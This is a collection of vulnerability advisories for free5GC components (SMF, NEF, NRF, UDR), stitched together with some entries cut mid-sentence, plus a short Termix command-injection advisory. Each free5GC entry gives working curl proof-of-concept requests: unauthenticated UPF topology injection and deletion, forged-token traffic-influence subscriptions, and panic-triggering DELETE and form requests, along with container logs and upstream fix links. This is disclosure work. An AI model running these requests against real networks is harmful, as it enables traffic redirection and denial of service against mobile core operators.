Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

{nodeID}`) operations. The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has. Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.0` - Docker validation date: 2026-03-13 Control comparison on the same SMF instance: - `GET /upi/v1/upNodesLinks` (no token) -> `200 OK` - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` This side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process. Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76` - OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95` - UPI business handlers (read / write / delete on `upNodesLinks`): - `NFs/smf/internal/sbi/api_upi.go:44` - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:84` Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`: ``` curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks ``` 2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`: ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}' ``` 3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token' ``` 4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` SMF container logs (`docker logs smf`) confirm the side-by-side behavior: ``` [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks ``` Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries. Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic. The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197

{upNodeRef}` handler unconditionally dereferences `upNode.UPF` after the type-guarded async release, even though `AN`-typed nodes are constructed without a `UPF` object. As a result, a single unauthenticated `DELETE /upi/v1/upNodesLinks/gNB1` request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the `UpNodeDelete(upNodeRef)` line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry. Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:43:17Z`) - SMF endpoint: `http://10.100.200.6:8000` Control comparison on the same SMF instance: - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` - `DELETE /upi/v1/upNodesLinks/gNB1` (no token) -> `500 Internal Server Error` (panic) The sibling `nsmf-oam` returning `401` proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it. Vulnerable handler logic (paths in `free5gc/smf`): ```go // NFs/smf/internal/sbi/api_upi.go:94..99 if upNode.Type == smf_context.UPNODE_UPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF ``` The `Type == UPNODE_UPF` guard only protects the asynchronous `ReleaseAllResourcesOfUPF` call. After that, `UpNodeDelete(upNodeRef)` runs unconditionally (so the topology mutation lands first), and then `upNode.UPF.CancelAssociation()` is called unconditionally on a `*UPF` that is `nil` for `AN` nodes by construction. Code evidence: - UPI group mounted WITHOUT auth middleware: - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Protected control comparison (other SMF groups DO use auth): - `NFs/smf/internal/sbi/server.go:99` - `NFs/smf/internal/sbi/server.go:105` - Delete handler (panic site): - `NFs/smf/internal/sbi/api_upi.go:94` - `NFs/smf/internal/sbi/api_upi.go:99` - AN nodes are constructed without a UPF object (root cause of the nil deref): - `NFs/smf/internal/context/user_plane_information.go:95` - `NFs/smf/internal/context/user_plane_information.go:97` Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Control: protected sibling OAM route returns `401`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` ``` HTTP/1.1 401 Unauthorized ``` 2. Trigger: unauthenticated DELETE on the default AN node `gNB1`: ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. SMF container logs (`docker logs --tail 120 smf`) show topology mutation landing BEFORE the panic, and the panic stack pointing at `api_upi.go:99`: ``` [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(*Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/api_upi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1 ``` The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation. Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance `nsmf-oam` returning `401` proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in `DeleteUpNodeLink`: the `Type == UPNODE_UPF` guard only covers the async release call, then `upNode.UPF.CancelAssociation()` runs unconditionally on AN-typed nodes that have a nil `UPF` field by construction. 3. Order of operations (CWE-755 / CWE-754): `UpNodeDelete(upNodeRef)` mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic. Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. `gNB1`) from SMF's in-memory user-plane topology anonymously via a single `DELETE /upi/v1/upNodesLinks/{ref}` request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating. This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199

free5GC's NEF mounts the `nnef-oam` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no `Authorization` header at all and the handler returns `200 OK`. The current OAM handler is a stub that returns `null`, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings. Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated `GET`s with `200 OK`. Code evidence (paths in `free5gc/nef`): - OAM route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:60` - OAM route exposed at `/`: `NFs/nef/internal/sbi/api_oam.go:9` - OAM processor returns `200 OK` directly: `NFs/nef/internal/sbi/processor/oam.go:9` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` Reproduced against the running NEF at `http://10.100.200.19:8000` with no `Authorization` header: ``` curl -i http://10.100.200.19:8000/nnef-oam/v1/ ``` Observed output: ``` HTTP/1.1 200 OK null ``` NEF container logs (`docker logs nef`) show the request being served while OAuth is enabled: ``` [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/ ``` Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns `null`, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default. Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group. Operators who assume `OAuth2 setting receive from NRF: true` enforces inbound auth on NEF are wrong for this route group. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23

{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, all Docker container management endpoints in Termix interpolate the containerId URL path parameter and WebSocket message field directly into shell commands executed via ssh2.Client.exec() on remote managed servers without any sanitization or validation. An authenticated attacker can inject arbitrary OS commands by crafting a malicious container ID, achieving Remote Code Execution on any managed server. This issue has been patched in version 2.1.0.

{"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required. This endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Vulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface): ```go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``` In the processor: ```go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") } UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``` When `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with: ``` panic: interface conversion: interface {} is nil, not *context.UESubsData ``` Code evidence (paths in `free5gc/udr`): - Route exposure + handler dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2170` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil interface type assertion): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61` Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions. 1. Restart UDR (clean state -- proves no precondition is needed): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Trigger the panic with one DELETE for a nonexistent `ueId=x`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ``` Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") } if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`. Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69` Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`. 1. Restart UDR (clean state): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ``` 4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60

{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable. The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end. Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased): ```go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``` In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct. Code evidence (paths in `free5gc/nef`): - Patch handler core path: - `NFs/nef/internal/sbi/processor/pfd.go:563` - `NFs/nef/internal/sbi/processor/pfd.go:610` - Panic site (nil-deref on `problemDetails.Cause`): - `NFs/nef/internal/sbi/processor/pfd.go:622` - Route exposure / dispatch: - 